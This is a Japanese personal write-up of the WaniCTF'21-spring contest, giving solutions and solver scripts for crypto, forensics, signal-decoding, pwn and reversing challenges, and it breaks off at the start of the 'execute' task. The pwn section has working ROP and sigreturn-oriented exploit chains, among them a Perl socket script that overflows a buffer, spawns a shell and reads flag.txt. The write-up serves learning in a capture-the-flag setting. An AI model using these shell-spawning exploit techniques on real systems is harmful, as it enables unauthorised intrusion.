概要
WaniCTF'21-springに参加した。 (個人戦)
結果は6639点で、順位表に表示されている440人 (正の点数を取ったのは353人) 中10位だった。
ギリギリグラフを載せてもらえる圏内となり、めでたい。
今回役立ったツール
ローカルで使うやつ
- Firefox (Webブラウザ)
- サクラエディタ (テキストエディタ)
- TSXBIN (バイナリエディタ)
- 7-Zip (アーカイバ)
- Audacity (音声エディタ)
- LibreOffice (オフィスソフト)
- gnuplot (グラフ描画ソフト)
- Perl (プログラム実行)
- Python (プログラム実行)
- Git (Gitのデータを読む)
- Docker (Docker Hubのデータを読む)
- Wireshark (pcapファイルを読む)
- TDM-GCC (逆アセンブラ)
- Tera Term (TCP通信)
- TCP/IPテストツール (TCP通信)
- キーボードシミュレータ (普通にペーストできない場所へのデータ流し込み)
Web上のやつ
- CS50 IDE
- RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks
- JSON Pretty Linter - JSONの整形と構文チェック
各問題について
Crypto
Simple conversion
大きな十進整数らしきものが1個書かれたoutput.txt
と、Pythonのソースコードとconvert.py
が与えられた。
このoutput.txt
の内容をPythonのインタラクティブでhex()
関数に渡し、
得られた16進数をキーボードシミュレータでバイナリエディタに流し込むことで、flagが得られた。
FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}
Easy
暗号化されたflagと考えられるoutput.txt
と、Pythonのソースコードencrypt.py
が与えられる。
encrypt.py
から、これは適当な値a
およびb
を用いて、各アルファベットのA
からの位置を
(a * x + b) % 26
という変換をしたものであることが読み取れる。
そこで、以下の手法で復元を行う。
- flagの先頭4文字が
FLAG
であることを利用して、a
およびb
の値を全探索する。
(mod 26 なので、0~25を探索すればよい) - 得られた
a
およびb
を用いて、復号テーブルを作成する。 - このテーブルを用い、復号を行う。
attack.pl
#!/usr/bin/perl
use strict;
use warnings;
my $key = "FLAG";
my $target = "HLIM{OCLSAQCZASPYFZASRILLCVMC}";
my $a_ans = -1;
my $b_ans = -1;
my $key_len = length($key);
my $a_char = ord("A");
for (my $a = 0; $a < 26; $a++) {
for (my $b = 0; $b < 26; $b++) {
my $ok = 1;
for (my $i = 0; $i < $key_len; $i++) {
unless (chr(((ord(substr($key, $i, 1)) - $a_char) * $a + $b) % 26 + $a_char) eq substr($target, $i, 1)) {
$ok = 0;
last;
}
}
if ($ok) {
$a_ans = $a;
$b_ans = $b;
print "a = $a_ans, b = $b_ans\n";
}
}
}
if ($a_ans < 0) {
die "not found\n";
}
my @table = ();
for (my $i = 0; $i < 26; $i++) {
push(@table, -1);
}
for(my $i = 0; $i < 26; $i++) {
$table[($i * $a_ans + $b_ans) % 26] = $i;
}
my $target_len = length($target);
for (my $i = 0; $i < $target_len; $i++) {
my $idx = ord(substr($target, $i, 1)) - $a_char;
if (0 <= $idx && $idx < @table) {
print chr($table[$idx] + $a_char);
} else {
print substr($target, $i, 1);
}
}
print "\n";
FLAG{WELCOMETOCRYPTOCHALLENGE}
Extra
4種類の整数が書かれたoutput.txt
と、Pythonのソースコードencrypt.py
が与えられる。
特に、素数p
とq
を用いたN = p * q
とM = 2 * p + q
が与えられている。
これを用いると、(2 * p - q)**2 = M**2 - 8 * N
が計算でき、
平方根を計算することで2 * p - q
の値がわかる。
すると、この値とM
の値を用いて、p
とq
の値がわかる。
さらに、
RSA暗号 - Wikipedia
拡張ユークリッドの互除法 〜 一次不定方程式 ax + by = c の解き方 〜 - Qiita
を参考に、拡張ユークリッドの互除法を用いてd * e + (-x) * (p-1)*(q-1) = 1
を満たすd
を求める。
最後に、c ** d mod N
を計算すると、これがflagを表す数値になっていた。
solve.py
import sys
N = None
M = None
e = None
c = None
try:
while True:
name, value = sys.stdin.readline().rstrip().split(" = ")
value = int(value)
if name == "N":
N = value
elif name == "M":
M = value
elif name == "e":
e = value
elif name == "c":
c = value
except:
pass
def heihoukon(v):
if v <= 0:
return 0
less = 0
ge = v + 1
while less + 1 < ge:
m = less + ((ge - less) // 2)
if m * m < v:
less = m
else:
ge = m
return ge
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
ppmq = heihoukon(M*M - 8*N)
p = (M + ppmq) // 4
q = (M - ppmq) // 2
print("p = " + str(p))
print("q = " + str(q))
toosyennto = (p - 1) * (q - 1)
d, mx = kago(e, toosyennto)
print("d = " + str(d))
ap = pow(c, d, N)
print("a' = " + hex(ap))
num = ap
result = ""
while num > 0:
result = chr(num & 0xff) + result
num >>= 8
print(result)
FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}
Can't restore the flag?
サーバーの接続情報と、そこで動いているプログラムだと推測できるserver.py
が与えられる。
server.py
は、整数を受け取り、それが300以下ならばflagを表す整数をその整数で割った値を出力するものである。
リアルタイムでやった、無駄に面倒くさい方法
素数表 (1~10000)
を参考に、2~300の素数を入力し、それに対する余りを集める。
中国剰余定理 (CRT) の解説と、それを用いる問題のまとめ - Qiita
拡張ユークリッドの互除法 〜 一次不定方程式 ax + by = c の解き方 〜 - Qiita
を参考に、中国剰余定理を用いてflagを求める。
import sys
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
p, q = kago(m1, m2)
return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)
# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
b = 0
m = 1
for bb, mm in l:
b = chuzyo(b, m, bb, mm)
m *= mm
return b
data = []
try:
while True:
a = int(sys.stdin.readline().rstrip().split(" > ")[1])
b = int(sys.stdin.readline().rstrip())
data.append((b, a))
except:
pass
num = chuzyo2(data)
print(hex(num))
result = ""
while num > 0:
result = chr(num & 0xff) + result
num >>= 8
print(result)
整数の範囲は「300以下」であり、下限は無いため、負の大きい数を入力する。
server.py
より、flagは10 ** 103
以下であるため、例えば
-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
を入力する。
入力した値を-a
、それに対し出力された値を-b
として、a-b
がflagを表す整数になっている。
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
OUCS
サーバーの接続情報と、そこで動いているプログラムだと推測できるserver.py
が与えられる。
また、問題文より
OUによるHomomorphicなCryptoSystemです
とのことで、Homomorphicをググると準同型暗号のことらしい。
server.py
は、
- flagを暗号化した値の出力
- 任意の値の暗号化
- 任意の値の復号 (ただし復号結果がflagの場合は出力されない)
-
n
・g
・h
の値の出力
ができる。
server.py
にあったOkamotoUchiyamaCryptoSystem
でググった結果、
Okamoto–Uchiyama cryptosystem - Wikipedia
がヒットし、これによればmの暗号化はあらかじめ決めたn, g, hを用いて、
gのm乗 × hの乱数乗 mod nを計算するようである。
従って、m1
の暗号文とm2
の暗号文の積 mod nが、m1+m2
の暗号文になるはずである。
この性質を用い、flagの暗号化結果と1
の暗号化結果の積 mod nを復号し、
1を引いて文字列に変換することで、flagが得られた。
decode.py
val = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e
val -= 1
result = ""
while val > 0:
result = chr(val & 0xff) + result
val >>= 8
print(result)
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}
Forensics
presentation
ファイルpresentation.ppsx
が与えられる。
LibreOfficeで開くと、FLAG{(青色の長方形)}
と書かれた1ページのみがあるスライドショーが表示された。
まず、このファイルを7-Zipで展開する。
ppt/slides/slide1.xml
からFLAG
を検索すると、
FLAG{<タグがいっぱい>you_know_how_to_edit_ppsx<タグがいっぱい>}
という部分が見つかった。
これからタグを消したものが正解のflagだった。
FLAG{you_know_how_to_edit_ppsx}
secure document
パスワード付きzipファイルのflag_20210428.zip
と、謎のスクリプトpassword-generator
が与えられた。
また、問題文によると
本日の資料は以下を入力して圧縮しました。
the password for today is nani
とのことである。
このスクリプトを
-
::なんとか::
: 「なんとか」が入力されたら以下の処理を行う -
:*?:なんとか::
: 「なんとか」で終わるものが入力されたら、その前の文字列のキーを押し、以下の処理を行う -
Send
/SendInput
: キーボード操作を行う -
return
: この「なんとか」に対する処理を終了する -
FormatTime
: 日付(zipファイルの名前から取得)を得る -
+英小文字
: Shiftキー+その文字のキーを押す -
^英小文字
: Ctrlキー+その文字のキーを押す - その他 : 該当するキーを押す
と仮定して実行すると、
password: Wan1_20210428_C7F!na!
という結果が得られた。
Wan1_20210428_C7F!na!
をzipファイルのパスワードとして展開すると、
flagが書かれた画像ファイルflag.jpg
が得られた。
FLAG{Nani!very_strong_password!}
slow (解けず)
WAVファイルslow.wav
が与えられる。
Audacityで見ると、周波数が変化する正弦波に近い信号のようである。
Audcityでスペクトルを見たり、振幅の変化を抽出してgnuplotでプロットしたりするなどしたら、
よくわからなかった。
parse.pl
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) {
die "Usage: ./parse.pl input_file\n";
}
my $input_file = $ARGV[0];
open(IN, "< $input_file") or die("failed to open $input_file\n");
binmode(IN);
my $data = "";
while (<IN>) { $data .= $_; }
close(IN);
my $len = length($data);
my $pnum = 0;
my $cnt = 0;
for (my $i = 0x2c; $i + 1 < $len; $i += 2) {
my $num = unpack("s", substr($data, $i, 2));
if ($pnum < 0 && $num >= 0) {
print "$cnt\n";
$cnt = 0;
}
$cnt++;
$pnum = $num;
}
他の波形問題がMiscに入っているのに対し、この問題はForensics…?
illegal image
ファイルillegal_image.pcap
が与えられた。
このファイルはWiresharkで読み込むことができ、パケットのデータが表示された。
最初のechoパケットを見ると、JPGファイルの先頭部分のようなものが見えた。
そこで、「複雑なことはしていない」、すなわち
- JPGファイルのデータは順番通り流れている
- JPGファイルのデータが入っているパケットのIPヘッダの長さ・Ethernetアドレス・IPアドレスは同じ
- パケットのデータが変なところで分割されてない
- 関係ないechoパケットは無い
と仮定し、pcapファイル中のechoパケットのデータからJPGファイルのデータを抽出するプログラムを書いた。
solve.pl
#!/user/bin/perl
use strict;
use warnings;
if (@ARGV < 2) {
die "usage: solve.pl input_file output_file\n";
}
my $input_file = $ARGV[0];
my $output_file = $ARGV[1];
# destination (6 bytes), source (6 bytes), type (2 bytes, IPv4)
my $target_ethernet = "\x10\x7B\x44\x47\x9A\x26\x00\x28\xF8\x60\x69\x31\x08\x00";
# source (4 bytes), desitination (4 bytes)
my $target_ip = "\xC0\xA8\x00\x85\xC0\xA8\x00\x9E";
open(IN, "< $input_file") or die("failed to open $input_file\n");
open(OUT, "> $output_file") or die("fialed to open $output_file\n");
binmode(IN);
binmode(OUT);
my $input_data = "";
while (<IN>) { $input_data .= $_; }
close(IN);
my $start_pos = 0;
for (;;) {
my $next_pos = index($input_data, $target_ethernet, $start_pos);
if ($next_pos < 0) { last; }
if (substr($input_data, $next_pos + 0x1A, 8) eq $target_ip) {
my $total_length = unpack("n", substr($input_data, $next_pos + 0x10, 2));
my $protocol = unpack("C", substr($input_data, $next_pos + 0x17, 1));
my $type = unpack("C", substr($input_data, $next_pos + 0x22, 1));
if ($protocol == 0x01 && $type == 0x08) {
print OUT substr($input_data, $next_pos + 0x2A, $total_length - 0x1C);
}
}
$start_pos = $next_pos + 1;
}
close(OUT);
このJPGファイルにflagが書かれていた。
FLAG{ICMP_Exfiltrate_image}
MixedUSB
ファイルMixedUSB.img
が与えられた。
TSXBINで開き、Shift_JISのテキストFLAG
を検索すると、2番目にflagが見つかった。
FLAG{mixed_file_allocation_table}
Mixc
binary
0や1がたくさん書かれたテキストファイルbinary.csv
と、Pythonのソースコードsample.py
が与えられた。
このbinary.csv
は、1バイトを8ビット(8行)で、上位から下位の順に表しているようである。
これを読み取ってバイト列に変換するプログラムを書いた。
solve.pl
#!/usr/bin/perl
use strict;
use warnings;
my $val = 0;
my $pos = 0;
while (my $line = <STDIN>) {
$val |= int($line) << (7 - $pos);
$pos++;
if ($pos >= 8) {
printf("%c", $val);
$pos = 0;
$val = 0;
}
}
print "\n";
FLAG{the_basic_knowledge_of_communication}
Git Master
Docker HubのURLと、Dockerfile
が与えられた。
Dockerが無いとアクセスは難しそうなので、まずはDockerをインストールすることにした。
Get StartedからDocker Desktopのインストーラをダウンロードし、実行した。
インストーラの実行が完了するとログオフを要求されたので、一応再起動した。
すると、以下の画面が出てきた。
書かれている通り、管理者モードで実行したPowerShellに、書かれているおまじないをコピペし、実行した。
すると再起動を要求されたので、また再起動した。
すると、今度は以下の画面が出てきた。
リンク先の
Windows 10 に WSL をインストールする | Microsoft Docs
にアクセスし、「x64 マシン用 WSL2 Linux カーネル更新プログラム パッケージ」をダウンロード・インストールした。
他の手順は実行しなくていいようだった。
そして、書かれている通りRestartボタンを押した。これはOSの再起動ではなく、Dockerのシステムの再起動のようだ。
これでDockerのインストールができたので、Docker Desktopを起動し(起動しておかないとエラーになるようだ)、
Docker Hubに書かれているDocker Pull Commandとかいうおまじない
docker pull wanictf21spring/nginx_on_ubuntu
を普通のコマンド プロンプトで実行する。
DockerFileでDockerイメージを作成してみる | infoScoop開発者ブログ
を参考に、コマンド
docker images
を実行すると、それっぽい名前が見える。
なお、与えられたDockerfile
を用いた
docker build .
は、あまり役立たなそうだった。
ここで得られた名前と、Docker Desktopの画面に出ていたおまじないを組み合わせたコマンド
docker run -d -p 80:80 wanictf21spring/nginx_on_ubuntu
を実行する。すると、Webブラウザでhttp://localhost/
にアクセスできるようになる。
また、Docker DesktopのContainers / Appsにそれっぽい項目が出てくる。
この項目のCLIボタンを押すと、シェルにアクセスできる。
このシェルを用いて調査をすると、/var/www
ディレクトリに.git
ディレクトリがあった。
しかし、このシェルでgit
コマンドは使えないようである。 (apt-get
はできるが、コストが高そうだった)
そこで、/var/www
をtar
でアーカイブし、/var/www/html/
ディレクトリに入れ、Webブラウザから回収した。
回収したアーカイブを展開し、git reflog
をしたところ、Flag.txt
を含む行が数行出てきた。
そこで、git diff (左端にあるID)
コマンドを用いてデータを表示し、
出てきたFlag.txt
関係のデータをそれっぽく組み合わせることで、flagが得られた。
FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}
ASK
0や1がたくさん書かれたテキストファイルask.csv
が与えられた。
とりあえず問題文の「Amplitude Shift Keying」でググったところ、AMっぽい表現方法のようである。
ask.csv
に対しRLE (Run-Length Encoding)をかけたところ、0や1が連続する個数は31の倍数になっているようだった。
rle.pl
#!/usr/bin/perl
use strict;
use warnings;
my $prev = 0;
my $first = 1;
my $count = 0;
while (my $line = <STDIN>) {
chomp($line);
if ($first) {
$count = 1;
$prev = $line;
$first = 0;
} elsif ($prev eq $line) {
$count++;
} else {
print "$prev\t$count\n";
$count = 1;
$prev = $line;
}
}
unless ($first) {
print "$prev\t$count\n";
}
その結果を観察すると、先頭から少し飛ばしたところにFLAG
の、最後に}
の0/1パターンが見えた。
そこで、31個の0/1を1個にする変換をかけ、それを問題binaryで使ったsolve.pl
にかけた。
decode.pl (RLEの結果からsolve.pl用の0/1列に変換するプログラム)
#!/usr/bin/perl
use strict;
use warnings;
my $skip = 38;
my $block = 31;
my $count = 1;
while (my $line = <STDIN>) {
if ($count > $skip) {
chomp($line);
my ($data, $num) = split(/\s+/, $line);
if ($num % $block != 0) {
warn sprintf("line %d : %d %% %d = %d\n", $count, $num, $block, $num % $block);
}
my $pnum = int($num / $block);
for (my $i = 0; $i < $pnum; $i++) {
print "$data\n";
}
}
$count++;
}
その結果、ゴミも多いが、先頭にflagのようなものが出た。
そこで、それを送信したところ、正解になった。
これはAMのデコード方法ではないはずだが…まあ通ったのでヨシ?
FLAG{als0-k0own-4s-0n-0ff-key1ng}
Automaton Lab.
- サーバーの接続情報
- Rule 30 - Wikipedia へのリンク
- サーバーで動いていると推測できるPythonのソースコード
automaton-lab.py
が与えられた。
サーバーに接続すると、以下のような出力がされた。
Welcome to Automaton Lab.!
We study about automaton in there, here is the space of "Rule 30"[1] automaton.
We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.
Our interest is what this cute automaton grow up in future, we want your help to expect their growth.
[1]: https://en.wikipedia.org/wiki/Rule_30
For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011".
generation state
0 100000100000001
1 010001110000011
2 011011001000110
We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.
Are you ready?
(press enter key to continue)
どうやら、15ビットのセルオートマトンの、指定された世代後の状態を答えればいいらしい。
状態が15ビットしかないので、典型的なループものだろう。
出た状態を記録し、前に出た状態に戻ったらオフセットと周期を求めて指定の世代の状態を計算すればよい。
automaton-lab.py
より、3問しか無いようなので、ソルバのプログラムだけ書いて、通信は手動でいいだろう。
solve.py
import sys
pat = sys.stdin.readline().rstrip()
gen = int(sys.stdin.readline().rstrip())
rule = {
"111" : "0",
"110" : "0",
"101" : "0",
"100" : "1",
"011" : "1",
"010" : "1",
"001" : "1",
"000" : "0"
}
visited = {pat : 0}
data = [pat]
curGen = 0
while curGen < gen:
patTmp = pat[-1] + pat + pat[0]
nextPat = ""
for i in range(1, len(patTmp) - 1):
nextPat += rule[patTmp[i-1:i+2]]
pat = nextPat
curGen += 1
if pat in visited:
syuki = curGen - visited[pat]
offset = visited[pat]
pat = data[(gen - curGen) % syuki + offset]
break
else:
visited[pat] = curGen
data.append(pat)
print(pat)
FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}
Manchester
0や1がたくさん書かれたテキストファイルmanchester.csv
が与えられた。
問題文の「Manchester Encoding」でググった結果、信号レベルの変化でデータの0/1を表す形式のようである。
マンチェスタ符号 - Wikipedia
問題ASKと同様に、31個の0/1を1個の0/1に変換し、それっぽい場所からデコードを行った。
デコードは、01
を0、10
を1に変換し、00
か11
が出たら終わりとした。
solve.pl
#!/usr/bin/perl
use strict;
use warnings;
my $offset = @ARGV < 1 ? 0 : int($ARGV[0]);
my $invert = @ARGV < 2 ? 0 : int($ARGV[1]);
my $dummy = <STDIN>;
for (my $count = 2; ; $count += 2) {
my $a = <STDIN>;
my $b = <STDIN>;
unless ($a && $b) { last; }
chomp($a);
chomp($b);
my $decode = 0;
if ($a eq "0" && $b eq "1") {
$decode = 0;
} elsif ($a eq "1" && $b eq "0") {
$decode = 1;
} else {
warn "error at line $count\n";
last;
}
if ($offset > 0) {
$offset--;
} else {
printf("%d\n", $invert ? 1 - $decode : $decode);
}
}
このデコード結果を問題binaryのbinary.csv
と見比べ、データの先頭のパターンを合わせた。
そして問題binaryと同様の変換をすることで、flagが得られた。
FLAG{avoiding-consective-ones-and-zeros}
Pwn
01 netcat
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn01
・pwn01.c
が与えられた。
pwn01.c
は、無条件でsystem("/bin/sh");
の実行に直行するようになっている。
言われた通りls
を入力すると、flag.txt
があるようなので、cat flag.txt
で出力する。
FLAG{this_is_the_same_netcat_problem_as_previous_one}
02 free hook
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn02
・pwn02.c
が与えられた。
pwn02.c
を見ると、malloc()
で確保した領域にデータを読み込んだり、
それをfree()
で開放したりできるようになっている。
さらに、__free_hook = system;
という怪しい行がある。
領域に/bin/sh
を読み込ませ、それを開放すると、表示が止まった。
なお、Tera Termにおいては直接入力すると1文字だけで入力を打ち切られてしまうことがあるので、
一度に複数文字を入力したい時はコピペをすると吉である。
そこで、ls
を入力するとflag.txt
があることを示す表示が出たので、cat flag.txt
を入力するとflagが出力された。
問題文には
free_hookの仕組みを理解する必要があります。
とあるが、別に仕組みを理解しなくてもなんとなくやったらできた。
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
03 rop machine easy
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn03
・pwn03.c
が与えられた。
今回のプログラムは、いくつかのパーツをバッファに並べ、実行できるようである。
また、問題文より、
ropでsystem("/bin/sh")を実行して下さい。
とのことである。
スタックにsystem
のアドレス→/bin/sh
のアドレス、の順で積み、
pop rdi; ret
を実行すると、/bin/sh
のアドレスがrdi
に入り、system
が実行されるはずである。
そこで、この順でバッファに入れ、実行したが、Segmentation Faultになった。
rop_arena
+--------------------+
| system |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rdi; ret |
+--------------------+
アラインメントが悪い可能性があると考え、
systemのアドレスをもう1個入れてみたが、これもSegmentation Faultになった。
rop_arena
+--------------------+
| system |<- rop start
+--------------------+
| system |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rdi; ret |
+--------------------+
そこで、バッファに入れるのを逆順にしたところ、コマンドが実行できる状態になった。
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system |
+--------------------+
そして、cat flag.txt
を実行することで、flagが得られた。
FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn04
・pwn04.c
が与えられた。
今回のプログラムも、いくつかのパーツをバッファに並べ、実行できるようである。
使えるパーツは、
- 任意の値
-
pop rdi; ret
のアドレス -
pop rsi; ret
のアドレス -
pop rdx; ret
のアドレス -
pop rax; ret
のアドレス -
syscall; ret
のアドレス
である。また、問題文より、
ropでexecve("/bin/sh", 0, 0)を実行して下さい。
execveのsyscall番号は0x3bです。
とのことである。
pop hoge; ret
は、
- 実行される際、スタックからpop hoge; ret 自身が取り除かれる
- スタックから値を取り除き、hogeに入れる
- スタックの次の値の場所へ実行を移す
という動作をする。さらに、
Syscall Number for x86-64 linux (A)
より、
-
rax
にsyscall番号 -
rdi
に第1引数 -
rsi
に第2引数 -
rdx
に第3引数
を入れ、syscall
を実行すればいいようである。
これを踏まえ、以下のようにバッファを構築し、実行することで、コマンドを実行できる状態になった。
rop_arena
+--------------------+
| pop rax; ret |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret |
+--------------------+
そして、cat flag.txt
を実行することで、flagが得られた。
FLAG{now-you-can-call-any-system-calls-with-syscall}
05 rop machine hard
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn05
・pwn05.c
が与えられた。
今回のプログラムは、いくつかの値をバッファに並べ、実行できるようである。
前の2問と違って選択できるパーツが無いため、パーツとして使う値を自分で求めることが要求される。
おそらく、問題 04 rop machine normal と同様に、execve("/bin/sh", 0, 0)
を実行すればよいだろう。
パーツの選択肢にはなっていないものの、
pop rdi; ret
pop rdx; ret
pop rax; ret
syscall; ret
は埋め込まれ、TDM-GCCのobjdump
による逆アセンブルによってアドレスを求めることができる。
また、"/bin/sh"
についても埋め込まれており、バイナリエディタでの表示からアドレスを予想することができる。
しかし、pop rsi; ret
は明示的に埋め込まれておらず、逆アセンブル結果にも含まれていない。
pop %rsi
は逆アセンブル結果にあり、これはバイト0x5e
に対応することがわかる。
そこで、逆アセンブル結果から0x5e
を探すと、
401610: 41 5e pop %r14
401612: 41 5f pop %r15
401614: c3 retq
という場所に含まれていることがわかった。
ここでは、0x5e
とret
の間に余計なpop
が1個余計に挟まっているだけなので、
これに食わせる余計な値を足してあげればpop rsi; ret
のかわりに使えそうである。
まとめると、以下の順でバッファに入れ、実行することで、コマンドが実行できる状態になった。
0x4012a9 (pop rax; ret)
0x3b
0x40128f (pop rdi; ret)
0x404078 ("/bin/sh")
0x401611 (pop rsi; pop r15; ret)
0x0
0x0
0x40129c (pop rdx; ret)
0x0
0x4012b6 (syscall; ret)
そして、cat flag.txt
を実行することで、flagが得られた。
FLAG{y0ur-next-step-is-to-use-pwntools}
06 SuperROP
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn06
・pwn06.c
、
そしてPythonのソースコードhow_to_use_pwntools.py
が与えられた。
プログラムは、ローカル変数のアドレスを出力した後、
バッファオーバーフローしうる形でそこにデータを読み込むものである。
問題文には、
sigreturnを用いたROPでシェルを実行してください。
と書かれている。
ヒントとして提示されているsigcontext.h
の情報をもとに、
各レジスタにexecve("/bin/sh", 0, 0)
を実行する用の適切な値をセットする。
今回は"/bin/sh"
は用意されていないようなので、入力に含めて書き込む。
そして、TDM-GCCのobjdumpによる逆アセンブル結果を参照し、
わざわざ用意してあるmov $0xf,%rax; ret
のアドレスをリターンアドレスに、
syscall; ret
のアドレスをスタックのその次の場所になるように配置する。
さらに、
x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー
を参照し、syscall; ret
のアドレスとレジスタ用の値群の間に8×5バイトのスペースを加える。
これをプログラムで送信したところ、コマンドを実行することができ、
cat flag.txt
コマンドによりflagが得られた。
communicate.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"srop.pwn.wanictf.org",
PeerPort=>9006, Proto=>"tcp");
if (!$sock) {
die "socket error\n";
}
my $first = <$sock>;
my $second = <$sock>;
unless ($first =~ /buff : (.*)/) { die "buff get error\n"; }
my $buff = hex(substr($1, 2));
my @data = (
0x40118c, # set_rax
0x40117e, # call_syscall
0, 0, 0, 0, 0, # magic
0, 0, 0, 0, 0, 0, 0, 0, # r8 - r15
$buff, # rdi
0, # rsi
0, 0, #rbp, rbx
0, # rdx
0x3b, # rax
0, # rcx
$buff + 8, # rsp
0x40117e, # rip
0, # eflags
0x33, # cs, gs, fs, ss
0, 0, 0, 0, 0, # err, trapno, oldmask, cr2, fpstate
0, 0, 0, 0, 0, 0, 0, 0 # reserved1
);
my $data2 = "/bin/sh\0";
my $tosend = $data2 . ("a" x (0x40 - length($data2)));
$tosend .= "-" x 8;
for (my $i = 0; $i < @data; $i++) {
$tosend .= pack("Q", $data[$i]);
}
print $sock $tosend;
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
while (<$sock>) { print $_; }
close($sock);
実行すると
Hexadecimal number > 0xffffffff non-portable
という警告が出るが、動いたのでヨシ!
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
07 Tower of Hanoi
サーバーの接続情報と、そこで動いていると考えられるプログラムpwn07
・pwn07.c
、
そしてダミーテキストのファイルFLAG
が与えられた。
プログラムはハノイの塔をやるものである。
main()
関数内の変数solved_flag
の値を1にすることで、ループを抜けてflagを出力させることができそうである。
move_hanoi()
関数内の範囲チェックが甘く(ご丁寧にその場所に// ???
というコメントがついている)、
1個と2個前の「棒」へのアクセスが可能である。
さらに、開始時になぜか名前の入力を求められる。
TDM-GCCのobjdumpで逆アセンブルして観察すると、
この名前の入力先がそれぞれの棒にある円盤の個数を管理する配列rod_pivot
の直前にあり、
1個前の「棒」をいじる時に使えそうである。
さらに、変数solved_flag
は-0x4(%rbp)
に、
それぞれの棒にある円盤を管理する配列rod
は-0x1a0(%rbp)
にあるようである。
この配列は1行に4バイトの値が32個ある2次元配列なので、
変数solved_flag
は、この-1
番目の行の0x87
番目の要素(0-origin)にあたる。
((-0x4 - (-0x1a0 - 4 * 32)) >> 2 = 0x87
)
そこで、名前として入力する値を工夫し、
-1番目(0-origin)の棒への移動によって1がsolved_flag
に書き込まれるようにする。
具体的には、まずTCP/IPテストツールで、名前として
0123456789ab<87><00><00><00>
を送信する。(「送信データのバイナリ変換」を有効にしておく)
次に、0番目の棒の一番上にある1を-1番目に移動させるため、
A@
を送信する。
すると、flagが出力される。
FLAG{5up3r_f457_h4n01_501v3r}
08 Gacha Breaker (解けず)
サーバーの接続情報と、
そこで動いていると考えられるプログラムld-2.31.so
・libc-2.31.so
・pwn08
・pwn08.c
が与えられた。
libc
が与えられる問題はよくあるが、ld
まであるということは、きっとかなり本格的な問題なのだろう。 (?)
pwn08.c
を読むと、
- ナル終端していないデータを
atol()
に渡している -
srand(time(0));
を何度も実行している -
malloc()
の戻り値がNULL
かをチェックせずに次の処理に使っている -
ceiling()
関数内で指定している書き換えるガチャ履歴の有効範囲が後ろに1多い - メニューの選択によって
free_list()
を呼んだ後、i
をリセットしていない - 履歴がいっぱいになった結果
free_list()
を呼んだ後、gacha_count
を一部しかリセットしていない
という問題があることはわかったが、具体的にどう使うかは考えられなかった。
Reversing
secret
ELFファイルsecret
が与えられた。
TDM-GCCのobjdumpで逆アセンブルした結果、main
関数は
- 配列に謎の値を格納する
-
show_description
関数を呼ぶ -
printf
関数でプロンプトを出力する -
scanf
関数で文字列を読み込む -
strlen
関数で読み込んだ文字列の長さをチェックする -
strncmp
関数で読み込んだ文字列がwani_is_the_coolest_animals_in_the_world!
かをチェックする - ループで文字列の加工を行う
-
printf
関数で加工した結果を出力する
という処理をしているようである。
また、ループの部分の処理をC言語で表すと
int magic[] = { /* ... */ };
int i;
char input[128], output[128];
for (i = 0; i <= 0x28; i++) {
/* 1462 */
int edx = (unsigned char)input[i];
/* 1470 */
int eax = magic[i];
/* 147b */
int ecx = edx ^ eax;
/* 147f */
output[i] = ecx;
}
という感じになっているようである。
これらに基づき、以下のプログラムでflagを求めた。
solve.py
magic = [
0x31, 0x2d, 0x2f, 0x2e, 0x24, 0x8 , 0x1d, 0x3e,
0x45, 0x11, 0x1f, 0x3a, 0x3c, 0x5b, 0x1 , 0x8,
0x3a, 0x0 , 0x0 , 0x2d, 0x8, 0x0 , 0x5f, 0x1e,
0x3e, 0xd , 0x1d, 0x3b, 0x36, 0xb , 0x27, 0x11,
0xb , 0x10, 0x68, 0x12, 0x30, 0x44, 0x5 , 0xa,
0x5c
]
message = "wani_is_the_coolest_animals_in_the_world!"
result = ""
for i in range(len(magic)):
result += chr(ord(message[i]) ^ magic[i])
print(result)
FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
ファイル群
